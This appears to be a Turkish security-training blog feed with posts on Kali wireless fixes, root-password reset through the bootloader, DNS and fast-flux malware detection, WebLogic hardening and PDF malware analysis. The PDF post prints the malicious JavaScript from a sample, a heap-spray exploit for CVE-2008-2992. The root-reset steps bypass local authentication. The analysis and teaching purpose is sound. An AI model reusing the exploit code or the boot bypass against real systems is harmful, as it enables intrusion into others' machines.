2-3 Aralık 2014 Log Yönetimi ve Analizi Eğitimi Tıklayınız 3 Gün Ankara Başvur
8-9 Aralık 2014 Log Yönetimi ve Analizi Eğitimi Tıklayınız 3 Gün Ankara Başvur
22-26 Aralık 2014 Beyaz Şapkalı Hacker Eğitimi Tıklayınız 5 Gün İstanbulBaşvur
Eğitim takvimi Ocak 2014 – Temmuz 2014 arasını içermektedir. Bilgi Güvenliği AKADEMİSİ eğitim tarihleri ve içeriklerde değişiklik yapma hakkını saklı tutmaktadır. Eğitimler hafta içi ve hafta sonu 09-17 saatleri arasında yapılmaktadır.
Open menu Share
0 0
06/09/14--01:48: Kablosuz Ağ Testlerinde Üzerinde Çalışılan Kanalın -1 de Takılı Kalması
Kali Linux işletim sisteminde kurulu olarak gelen açık kaynak kodlu araçlar sayesinde Kablosuz Ağ testlerini çok hızlı ve kararlı bir şekilde yapabiliriz. Fakat Kablosuz ağ testlerini yapmak için alacağımız kablosuz adaptörün içerisinde bulunan chipsetlerinin işletim sistemi ile uyumuna dikkat etmemiz gerekiyor. Chipseti ile İşletim sistemi uyumsuzluğu var ise test esnasında çeşitli hatalar alabiliriz. Bu hatalardan birisi
“fixed channel monX: -1”(X bir tamsayı), hatasıdır. Bahsedilen hatayı belirli bir kanal üzerinde çalışma yapmak istediğimizde alırız. Bu uyarı genellikle belirlenen kanal ve Mac adresi için dinleme modunda alınıyor ise bir probleme yol açmaz ve belirlediğiniz özelliklere sahip paketleri dinleyebilirsiniz.
Bahsedilen uyarıya yol açan örnek bir kullanım için ekran alıntısı.
Sadece bildirim amaçlı olan uyarıyı aldığımız örnek bir ekran alıntısı.
Bu ekran alıntısında olduğu gibi uyarı sadece bildirim düzeyinde olup çalışmanızı engellemez.
Fakat paket enjeksiyonu yapmak istediğimizde aynı sonucu elde edemeyiz. Yani oluşturulan paketleri seçilmiş bir kanal üzerinden seçilmiş bir hedefe göndermek istediğimizde aldığımız uyarı hata niteliğinde olup komutlarımızın çalışmasını engeller.
Bahsedilen uyarıya yol açan bir kullanım ve hata çıktısı için örnek bir ekran alıntısı.
Hata çıktısında da belirtildiği gibi işlemlerin gerçekleştirilmesi için kanal -1 den bağlantı beklenilmektedir. Hâlbuki bizim tanımladığımız MAC adreslerine sahip cihazlar kanal 7 de çalışmaktadır. Hata mesajında da belirtildiği gibi bu problemi aşmak için iki yol deneyebiliriz.
1. Çözüm Yolu
–ignore-negative-one komutu ile kullanabiliriz. Bu komut sayesinde kanal -1 direk olarak pas geçilir.
Bu çözüm yolunun kullanıldığı örnek bir ekran alıntısı.
Ekran alıntısında da görüldüğü gibi, yine aynı uyarıyı alıyoruz fakat komutlarımızın çalışmasını engellememekte.
2. Çözüm yolu
Bu çözüm yolunda kablosuz adaptörünüzün chipsetinin Kali Linux tarafından tanınabileceği bir sürücü yazılımını yüklemeniz gerekiyor. Burada şunu unutmayalım, her Chipseti Kali Linux için uyumlu değildir. Bu yazılım araçları ve sürücü yazılımlarının bilgi güvenliği amaçlı kod geliştiricileri tarafından sıfırdan hazırlandığını unutmayalım. Kablosuz ağ güvenliği testleri için kullanabileceğiniz birçok adaptör bulabilirsiniz. Fakat satın almadan önce hangi marka ve modellerin (daha doğrusu chipsetin) uyumlu olduğunu araştırmanızı öneriyorum. Konu ile alakalı bloğumuzdan da faydalanabilirsiniz.
İlgili makaleye linkten ulaşabilirsiniz.
http://blog.bga.com.tr/2011/06/wireless-kartm-packet-injection.html
Open menu Share
0 0
06/13/14--00:52: Kali Linux İşletim Sisteminde Root Şifresinin Sıfırlanması
Kali Linux İşletim Sisteminin Root şifresinin Sıfırlanması
Linux işletim sistemlerinde root şifresi unutulduğu zaman, işletim sistemi “single mod” da açılıp şifre yeniden yapılandırılabilir. Farklı Linux işletim sistemleri için single mod a erişim elde edebilmek için farklı adımlar izlemek gerekebilir. Bu makalede Kali Linux işletim sistemi için rootşifresinin nasıl sıfırlanacağı anlatılacaktır.
İzlenilecek adımlar;
Kali Linux işletim sistemi başlatılır
Boot seçenekleri penceresi, ekrana geldiğinde klavyenin yön tuşları ile 2. satırda bulunan recovery mode’u seçilir.
Not: Daha sonra çıkacak olan sürümlerde boot sıralaması değişebilir, bundan dolayı sıralamadan ziyade seçilen boot modunun ismine dikkat edilmelidir.
Bu pencere görüntülendiğinde “e” tuşuna basılır (Edit = düzenle). Normalde Kali boot dosyalarını okuma modunda açar, bu işlem ile yazma moduna geçilerek şifre yeniden yapılandırılabilir.
“e” tuşuna basıldıktan sonraki ekrana gelecek olan pencere,
Kırmızı çerçeve içerisine alınan kısımlarda düzenlemeler yapılması gerekiyor.
a- ro = “Read Only “ anlamına gelmektedir. Hali hazırda olan konfigürasyonun okunup sistemin hızlı bir şekilde başlatılması için bu değer seçilidir. Bu değerin okuma ve yazma hakları ile aç anlamına gelen “rw” ile değiştirilmelidir.
b- initrd=/install/initrd.gz satırının sonuna bir boşluk bırakarak init=/bin/bash komutu eklenir.
Bu düzenlemelerin yapılmış halinin ekran görüntüsü,
Sistemi bu hali ile başlatmak için “Ctrl+X” tuş kombinasyonunun kullanılması gerekmektedir.
4. Ekrana bildirim yazılarının dökülmesi bittiğinde Enter tuşuna basılıp, komut satırının görünürlüğü sağlanmalı. Şimdi şifre değiştirebilir. Gerekli olan komutlar kırmızı çerçeve içeresine alınmıştır.
Not: Görüldüğü üzere sistem bu modda başlatıldığında, root yetkileri ile açılmasına rağmen şifre istememektedir. Bu yöntem, unutulan şifrelerin tekrar kazanılması adına yararlı bir yöntem olduğu gibi, sistemin fiziksel güvenliği sağlanmadığı takdirde başkalarının sisteme erişimi noktasında bir zafiyet teşkil etmektedir.
Bu aşamadan sonra sistemin güç düğmesi kullanılarak kapatılıp, yeniden açılması gerekmektedir.
Artık sisteme yeni şifre ile giriş yapılabilir.
Open menu Share
0 0
06/24/14--09:58: DNS İsteklerini Analiz Ederek Zararlı Yazılım Tespiti
Zararlı yazılımlar komuta merkezleriyle haberleşmede alanadlarını sıklıkla kullanırlar. Alanladlarının kullanımı, internetin kalınına olduğu gibi zararlı yazılımlara da doğrudan IP adreslerinin kullanımıyla elde edemeyecekleri bir esneklik kazandırır. Bu esneklikten yararlanıp komuta merkezlerinin kapatılmasıyla zararlı yazılım ağının etkisizleştirilmesini zorlaştıracak yöntemler uygulayabilirler.
1. Alanadındaki Anormalliklerin İncelenmesi:
Alanadı gözden kaçması amacıyla bilindik bir alanadına çok benzer şekilde seçilmiş olabilir. Örneğin: rnicrosoft.com, 1inkedin.com gibi adreslere şüpheyle yaklaşılması gerekir.
Algoritmik olarak üretilmiş (bkz: DGA) f3122.com, a112331b.com gibi rasgele harf veya rakamlardan oluşan alanadlarının da detaylı analiz edilmesi gerekmektedir.
2. Alanadı Kayıtlarının İncelenmesi:
*nix sistemlerde alanadı kayıtları “whois alanadı” komutuyla elde edilebilir. Windows için de Sysinternals’ın whois aracı kullanılabilir. Whois, alanadıyla ilgili oldukça faydalı bilgiler verir. Örneğin bir Linux terminalde
“whois asasas.eu” komutu çalıştırıldığında aşağıdaki çıktı elde edilmektedir.
% The WHOIS service offered by EURid and the access to the records
……………….
% WHOIS asasas
Domain: asasas
Registrant:
NOT DISCLOSED!
Visit www.eurid.eu for webbased whois.
Reseller:
Technical:
Name: Tech. Service
Organisation: Internet.bs Corp.
Language: en
Phone: +1.2423275277
Fax: +1.2423275277
Email: [email protected]
Registrar:
Name: Internet.bs Corp.
Website: www.INTERNET.bs
Name servers:
ns-canada.topdns.com
ns-uk.topdns.com
ns-usa.topdns.com
….
Bu sorgudan detaylı bilgi elde edilemese de www.eurid.eu adresinden bu alanadı için detaylı sorgulama yapılabileceği öğrenilmiştir. Adresin web tabanlı sorgu için kullanılabileceği belirtilmiştir, bu yüzden sorgu bir web tarayıcısı aracılığıyla gerçekleştirilebilir. Aksi durumda “whois -h www.eurid.eu asasas.eu” komutu ile belitilen adresten sorgulama yapılabilirdi.
Web tabanlı sorgunun çıktısı şu şekildedir:
Name asasas
Status REGISTERED (What this means)
Registered June 13, 2014
Expiry Date June 30, 2015
Last update June 13, 2014, 3:12 am
Registrant
Name Hans Bruse
Organisation hans inc
Language German
Address
…..
Çıktıdan alanadının kayıt tarihi, ne zamana kadar kaydedildiği, en son ne zaman güncellendiği, kaydeden kişinin ve kuruluşun adı gibi bilgiler elde edilebilmektedir. Örnekte görüldüğü gibi alanadının kayıt veya güncellenme tarihinin çok yeni olması, veya süresinin dolmasına çok az kalmış olması, gerçekçi olmayan kişi kurum bilgileri gibi durumlar tek başına yeterli olmamakla beraber alanadının zararlı aktivitieler için kullanıldığına dair ipucu olabilir.
3. Alanadının Kara Listelerde Aranması:
Alanadının zararlı olarak kaydedilmiş olma ihtimaline karşı bilindik listelerde ve arama motorlarında aratılması gerekir.
http://www.malwaredomainlist.com/mdl.php zararlı adreslerin güncel olarak listelendiği bir servistir.
http://www.anti-abuse.org/ ise alanadını birçok farklı RBL’de (real time black list) arayıp sonuçları listeleyen bir servistir.
Bu aşamada alt alanadlarının bulunup incelenmesi de alanadının zararlı olup olmadığı hakkında fikir verebilir. Alt alanadlarının bulunmasında Linux Dnsutils’de bulunan dig komutu, dnsmap veya fierce gibi araçlar kullanılabilir.
Dig komutuyla hedef alanadının DNS sunucusunda zone transfer özelliği açıksa o sunucudaki tüm DNS kayıtları elde edilebilir.
“dig NS suphelidomain.org” komutu ile DNS sunucusu öğrenilir.
“dig @dnsserver afxr suphelidomain.org” komutu ile de zone transfer denemesi yapılır.
$ dig @ns2.3322.net afxr f3322.org
; <<>> DiG 9.8.3-P1 <<>> @ns2.3322.net afxr f3322.org
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: REFUSED, id: 40085
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available
;; QUESTION SECTION:
;afxr. IN A
;; ANSWER SECTION:
f3322.org. 60 IN A 101.71.195.119
……
;; AUTHORITY SECTION:
f3322.org. 86400 IN NS ns2.3322.net.
f3322.org. 86400 IN NS ns1.3322.net.
……
4. Alanadı-IP Çözümlemesinin Analiz Edilmesi:
“host alanadı” komutuyla alanadının çözdüğü IP adresleri öğrenilir.
host f3322.org
f3322.org has address 101.71.195.119
Daha sonra öğrenilen IP adresleri
http://www.malwaredomainlist.com/mdl.php
http://www.anti-abuse.org/
adreslerinden kara listelerde aranır.
Bazı zararlı yazılımlar, özellikle botnetler komuta merkezi olarak kullandıkları sunucuların tespit edilip engellenmesini zorlaştırmak için “fast flux” adı verilen bir yöntem kullanırlar. Bu yöntemle C&C
sunucuları farklı servis sağlayıcılarda konuşlandırıp bu sunucuların IP adresleri DNS kayıtlarına girilir. Round-robin mantığıyla DNS çözümlemesinde en üstteki IP adresinin değişmesi sağlanır. Normalde bu yöntem yük dengeleme veya hizmet kesintilerini engelleme amaçlı kullanılmaktadır. Örneğin art arda çalıştırılan iki “host google.com” komutunun çıktısı şu şekildedir.
$ host google.com
google.com has address 173.194.70.100
google.com has address 173.194.70.102
google.com has address 173.194.70.139
google.com has address 173.194.70.101
google.com has address 173.194.70.138
google.com has address 173.194.70.113
….
$ host google.com
google.com has address 173.194.70.138
google.com has address 173.194.70.113
google.com has address 173.194.70.100
google.com has address 173.194.70.102
google.com has address 173.194.70.139
google.com has address 173.194.70.101
….
Fast flux alanadlarını tespit etmek için bir alanadının daha önce çözdüğü ip adreslerini listeleyebilen
www.bfk.de
www.robtex.com/
servisleri kullanılabilir. Ayrıca robtex.com IP’nin bulunduğu coğrafik bölge bilgisini de vermektedir.
Fast flux alanadlarının gösterdiği bir diğer anormallik ise DNS kaydı TTL değeridir. IP adresleri sürekli güncellendiğinden dolayı DNS cevaplarının önbelleğe alınması sorun oluşturabilir. Bu yüzden TTL
değerinin 0 veya çok küçük bir değer olması gerekir. TTL değeri “dig alanadi.com” komutunun çıktısında görülebilir.
Yerel ağdaki fast flux alanadlarının yakalanması için Australian Honeynet Project’in Tracker aracı kullanılabilir. Tracker aracını kurmak için sırasıyla aşağıdaki komutlar çalıştırılır.
(eğer sistemde postgresql kurulu değilse)
apt-get install postgresql
sudo -u postgres psql
CREATE DATABASE fast_flux;
CREATE USER tracker WITH PASSWORD '123456';
GRANT ALL PRIVILEGES ON DATABASE fast_flux TO tracker;
GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA PUBLIC TO tracker;
\q
add-to-test-table.pl, test_submission.pl, flux.pl dosyalarından $username ve $password alanları güncellenir.
$username=‘tracker’
$password=‘123456’
Veritabanı yüklenip dosyalar çalıştırılabilir yapılır.
sudo -u postgres psql fast_flux < setupdb.sql
chmod u+x add-to-test-table.pl flux.pl test_submission.pl
Son olarak domains.txt içine şüpheli alanadları yazıldıktan sonra Tracker’ın betikleri şu sırayla çalıştırılır.
./add-to-test-table.pl < domains.txt
hotmail.com Inserted
google.com Inserted
yahoo.com Inserted
./test-submission.pl
Looking for new work to do
Testing Host hotmail.com
4 Distinct cnt
Removing Host hotmail.com from the input Table
Testing Host google.com
6 Distinct cnt
Removing Host google.com from the input Table
Testing Host yahoo.com
3 Distinct cnt
Removing Host yahoo.com from the input Table
./flux.pl
Getting New Work
0
Checking Domains that have been set to inactive
Getting New Work
0
Checking Domains that have been set to inactive
Getting New Work
….
flux.pl betiğinin çıktısı incelenerek listedeki fast-flux alanadları belirlenebilir.
Open menu Share
0 0
06/25/14--14:17: ASN Kayıtlarından ISP IP Bloklarını Öğrenme
ASN (Autonomous System Number) bilgisi kullanılarak bir IP’nin bulunduğu ISP ve ISP’lerin IP blokları tespit edilebilir.
Terminalden
whois -h asn.shadowserver.org 'origin ipadresi’ komutu ile bir IP’nin bulunduğu ISP’nin detayları listelenir. Komutun çıktısında en baştaki numara ASN’dir. Devamında
whois -h asn.shadowserver.org 'prefix ASN’ komutu ile ISP’nin IP blokları listelenir.
Aynı yöntemi kullanarak IP bloklarını veya IP adreslerini liste olarak elde etmek için Gökhan Alkan'ın yazdığı get_ip_via_asn.sh betiği (https://github.com/galkan/tools/blob/master/others/programming/bash/get_ip_via_asn.sh) kullanılabilir.
Betiğin kullanımı:
CIDR formatında almak için:
# ./get_ip_via_asn.sh -d bga.com.tr | head -5
103.21.244.0/24
103.22.200.0/24
103.22.201.0/24
103.22.203.0/24
103.31.4.0/24
IP adresi şeklinde almak için:
# ./get_ip_via_asn.sh -d bga.com.tr -i 1 | head -5
103.21.244.0
103.21.244.1
103.21.244.2
103.21.244.3
103.21.244.4
Open menu Share
0 0
06/27/14--23:25: WebLogic Sisteminizi Daha Güvenli Hale Getirmek
Üç katmanlı web mimarisinde internete açık ve/veya lokal ağda çalışan kritik uygulamaların güvenliğini sağlarken, her katmanda ayrı ayrı güvenlik önlemleri alınır. Bu önlemlerin büyük bölümü firewall katmanına bırakılır ve firewall’dan sonrası büyük çoğunlukça önemsenmez.
Oysa saldırıların ve güvenlik zaafların büyük çoğunluğu eski çalışanlar, sistemi detaylı bilenler veya ağ içerisindeki kullanıcılar tarafından yapılır. O bakımdan kiritik uygulamaların güvenlik önlemleri uygulama sunucuları seviyesinde de dikkate alınmalıdır.
Oracle WebLogic uygulama sunucusu kurumsal java dünyasında yaygın olarak kullanılan bir uygulama sunucusudur. Fakat WebLogic kurulumları çoğunlukla varsayılan konfigürasyonlar ile bırakılır. Eğer aşağıdaki hizmetlere yönelik bir “WebLogic Domain”i yönetiyor ve operasyonunu yürütüyorsanız;
· Bankacılık Uygulamaları
· Resmi Kamu Kurum Uygulamaları
· İnternete açık e-Ticaret Web Uygulamaları
Üzerinde kritik uygulamanın çalıştığı, yönetimini ve sahipliğini yaptığınız “WebLogic Domain”in güvenliğini güçlü bir şekilde sağlayıp; iç ve dış saldırılara (hacking attacks) karşı önlem almalısınız.
Bu kritik uygulamalar için hayati önem taşıyan ve büyük çoğunluğu olmazsa olmaz niteliğinde olan teknik detayları aşağıda madde madde sıralıyorum. Ve bu önlemler alındığı takdirde uygulama sunucusu katmanında da ciddi güvenlik önlemleri almış olacaksınız.
Böylelikle yönetimini yapmış olduğunuz sistem saldırılara karşı çok daha güvenilir ve güçlü olacaktır.
Varsayılan port numaraları/değerleri kullanılmamalı. (7001, 7002… vb. gibi)
WebLogic Domain için varsayılan admin kullanıcısı olarak “weblogic” değeri tercih edilmemeli.
WebLogic başlangıç scriptlerinde admin “kullanıcıadı|parola” bilgileri parameter olarak geçilmemeli. Bunun yerine “-Dweblogic.system.BootIdentityFile=$PATH/boot.properties” değişkeni ve şifrelenmiş “boot.properties” dosyası kullanılmalıdır.
WebLogic için “Administration Port” özelliği aktiflenmeli.
“Cross Domain Security” özelliği aktif olmalı.
WebLogic domain admin konsol için varsayılan “console” context path değeri değiştirilmeli.
Custom Identity ve Custom Trust (JKS) kullanılmalı.
Gerçek ve geçerli SSL sertifikaları WebLogic instance’lara yüklenmeli ve iç trafik de https olarak düzenlenmeli.
“Custom Hostname Verifier” kullanılmalı.
“Max Post Size” değeri belirlenmeli. Varsayılan ayar limitsiz şeklindedir.
“Frontend Host” ve “Frontend Https Port” değerleri girilmeli
“Minimum, Maximum, IO Buffer Sizer” değerleri belirlenip girilmeli
JMS kaynakları güvenli hale getirilmeli
LDAP otantikasyon ve yetkilendirilme ayarları yapılmalı
WebLogic domain için “Administration auditing” açılmalı ve detayları kütüğün yazılması sağlanmalı
WebLogic üzerinde çalışan kiritik canlı sistem uygulamaların domain yönetiminde, yukarıda sıraladığım konfigürasyonların büyük çoğunluğu yapılmamaktadır ve %99 oranında bu konfigürasyonlar yapılmamış olarak hizmet vermektedir.
Bu konfigüsyonlar yapılmadığı müddetçe, her bir madde için ayrı saldırı çeşitleri mevcut olup, ilgili WebLogic domain bu saldırılar kaşısında savunmasız durumdadır.
Eğer önemli bir sistemin WebLogic uygulama yönetimini yapıyorsanız, iki defa düşünün. Güvenlik ayarlarınızı yeniden gözden geçirerek iç ve dış saldırılara karşı güvenliğinizi arttırmanızı önemle tavsiye ediyorum.
Uygulamaların güvenliğini sağlamak her zaman meşakkatli ve daha fazla bilgi birikimi gerektiriyor. Bu anlamda bu süreç sancılı olabilir fakat en nihayetinde daha güçlü bir kale inşa edeceksinizdir. Uygulama sunucularının güvenlik konfigürasyonları için bir uzmandan destek almaktan kaçınmayınız.
Kullanıcı kitlemize daha güvenli bir sistem sunmak için herkese ayrı ayrı görevler düşüyor. Siber saldırılara karşı “uygulama sunucusu” katmanında da bu önlemleri almak, uygulama güvenlik duvarını daha da güçlendirecektir.
M.Fevzi Korkutata (Certified Associate Middleware Consultant) <fevzi.korkutata @ admineer.com >
Open menu Share
0 0
06/30/14--07:14: BGA BANK - Güven(siz) Internet Bankacılığı Uygulaması
“BGA BANK (Vulnerable Online Bank Application)” uygulaması PHP tabanlı çeşitli zafiyetler içeren sızma testi eğitim platformudur. Türkiye'deki bankacılık altyapısı incelenerek bu altyapılarda çıkabilecek tüm teknik ve mantıksal hatalar uygulamanın içine eklenmiş ve web uygulama güvenliği konusunda çalışanlar için gerçekci bir sızma testi platformu oluşturulmuştur. Webgoat, DVWA vs gibi benzeri amaçla yazılmış programlardan en temel farkı açıklıkların doğrudan kullanıcıya nerede olduğu ve nasıl istismar edileceği ile ilgili ipucu vermemesidir.
BGA BANK altyapısı 3 farklı sistemden oluşmaktadır:
1- BGA BANK - http://www.bgabank.com
2- IPS Korumalı Bankacılık Uygulaması - http://ipstest.bgabank.com
3- WAF Korumalı Bankacılık Uygulaması - http://waftest.bgabank.com
Böylece bgabank.com'da çalışan bir açıklığın hem IPS hem de WAF sistemleri ile tekrar test edilerek çeşitli evasion tekniklerinin denenmesi de sağlanmış olmaktadır.
Detay testler icin gerekli internet bankacılık hesap bilgisi bir müddet sadece beta test kullanıcılarına açılmıştır. OWASP'a ait tüm zafiyetler sisteme uygulandıktan sonra genele açık olarak da sunulacaktır.
BGA Bank - Veritabanı Şeması:
Open menu Share
0 0
07/03/14--12:42: Zararlı Kod İçeren PDF Dosyalarının Analizi
Zararlı kodların pdf, doc, xls gibi farklı doküman formatlarının içine gömülmesi sosyal mühendislik saldırılarında sıklıkla kullanılan bir yöntemdir. Dolayısıyla bu dosyaların da şüpheli durumlarda analiz edilmesi gerekmektedir. REMNux imajıyla gelen, doğrudan da elde edilebilecek çeşitli araçlarla PDF dosyalarının detaylı analizi yapılabilir.
Kullanılan Araçlar:
pdfid
AnalyzePDF
peepdf
pdf-parser
Origami pdfextract
Örnek zararlının SHA256 özeti: f3b30f5ecd00e3b0b74db08146b4d65bd376114da9391eb8541aee9b39974664
pdfid.py betiği kullanılarak zararlı PDF dosyasının hangi türde ne kadar içeriği olduğu görülür. Örnekte PDF dosyasının Javascript kodları içerdiği görülmektedir.
pdfid z.pdf
PDFiD 0.1.2 z.pdf
PDF Header: %PDF-1.5
obj 8
endobj 8
stream 1
endstream 1
xref 1
trailer 1
startxref 1
/Page 1
/Encrypt 0
/ObjStm 0
/JS 1
/JavaScript 2
/AA 0
/OpenAction 0
/AcroForm 0
/JBIG2Decode 0
/RichMedia 0
/Launch 0
/EmbeddedFile 0
/XFA 0
/Colors > 2^24 0
Daha sonra AnalyzePDF.py betiği ile PDF dosyasındaki anormallikler analiz edilir. Örnekte hesaplanan entropy değerleri incelendiğinde streamin entropy değerinin toplam entropyden büyük olduğu görülmektedir. Buradan streame encode veya şifreleme işlemi uygulandığı sonucu çıkarılabilir. Bu yüzden AnalyzePDF dosyanın yüksek ihtimalle zararlı olabileceği yorumunu yapmıştır.
/usr/local/AnalyzePDF/AnalyzePDF.py z.pdf
===================================
[+] Analyzing: z.pdf
-----------------------------------
[-] Sha256: f3b30f5ecd00e3b0b74db08146b4d65bd376114da9391eb8541aee9b39974664
[-] JavaScript count.......: 1
[-] Total Entropy..........: 5.205331
[-] Entropy inside streams : 4.458722
[-] Entropy outside streams: 5.183223
[*] Entropy of outside stream is questionable:
[-] Outside (5.183223) +2 (7.183223) > Total (5.205331)
[-] (1) page PDF
-----------------------------------
[-] Total YARA score.......: 0
[-] Total severity score...: 5
[-] Overall score..........: 5
===================================
[!] HIGH probability of being malicious
Dosyanın zararlı olduğu yönündeki şüpheler doğrultusunda bilinen bir istismar kodu barındırıp barındırmadığı peepdf uygulaması ile kontrol edilir. Örnek dosyanın “CVE-2008-2992” olarak CVE id atanmış bir zafiyeti istismar etmeye çalıştığı anlaşılmıştır.
peepdf z.pdf
File: z.pdf
MD5: c9f23077dbd6537db976016efe5f9206
SHA1: 846345e38038e290d11524819f41422a0213b74a
Size: 3197 bytes
Version: 1.5
Binary: False
Linearized: False
Encrypted: False
Updates: 0
Objects: 8
Streams: 1
Comments: 0
Errors: 2
Version 0:
Catalog: 1
Info: No
Objects (8): [1, 2, 3, 4, 5, 6, 7, 8]
Errors (1): [8]
Streams (1): [4]
Encoded (0): []
Objects with JS code (1): [8]
Suspicious elements:
/Names: [1, 7]
/JavaScript: [6, 8]
/JS: [8]
util.printf (CVE-2008-2992): [8]
Bu noktada dosyanın zararlı olduğu kesinleşmiştir. Bilindik bir zafiyet olmaması gibi durumlarda bu aşamada da kesin kanıya varılamayabilir ve analize devam edilmesi gerekir.
Pdf-parser.py betiği kullanılarak PDF’in bölümleri parse edilip içerikleri görüntülenir. Çıktıda gösterilen bölümde heap overflow + heap sprey yapmaya çalışan zararlı Javascript kodu açıkça görülmüştür.
pdf-parser.py z.pdf
PDF Comment '%PDF-1.5\r\n'
………
/S /JavaScript
/JS '(\r\nvar temp =
……..
\r\nvar pl= temp.replace('
/U9htL '/g, "%u");\r\nvar payload = unescape(pl);\r\n\r\nvar nop = "";\r\nvar nopvar = "t8zV9090t8zV9090t8zV9090t8zV9090t8zV9090";\r\nvar nopesc = nopvar.replace('
/t8zV '/g, "%u");\r\nfor(iCnt=128; iCnt>=0;--iCnt) nop += unescape(nopesc);\r\nheapblock = nop + payload;\r\nvar nopbl = "8T490908T49090";\r\nbigblock = unescape(nopbl.replace('
/8T4 '/g, "%u"));\r\nheadersize = 20;\r\nspray = headersize+heapblock.length;\r\nwhile (bigblock.length<spray) bigblock+=bigblock;\r\nfillblock = bigblock.substring(0,spray);\r\nblock = bigblock.substring(0, bigblock.length-spray);\r\nwhile(block.length+spray < 0x40000) block = block + block + fillblock;\r\n\t\r\nmem = new Array();\r\nfor (i = 0; i < 1400; i++)\r\n\tmem[i] = block + heapblock;\r\n\r\nvar num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888\r\nutil.printf("%45000f",num);\r\napp.alert("you should not be able to read this");\r\n)'
…….
PDF Comment ‘%%EOF'
Ayrıca PDF’in belli bölümlerini ayrıştırıp dosya olarak kaydetmek için Origami paketinden pdfextract betiği kullanılabilir. Örneğin sadece Javascript’leri ayıklamak için “pdfextract —js z.pdf” komutu kullanılır. Böylece ayrıştırılan dosyaları “jsdetox” gibi farklı uygulamalarla analiz etmek mümkün olur.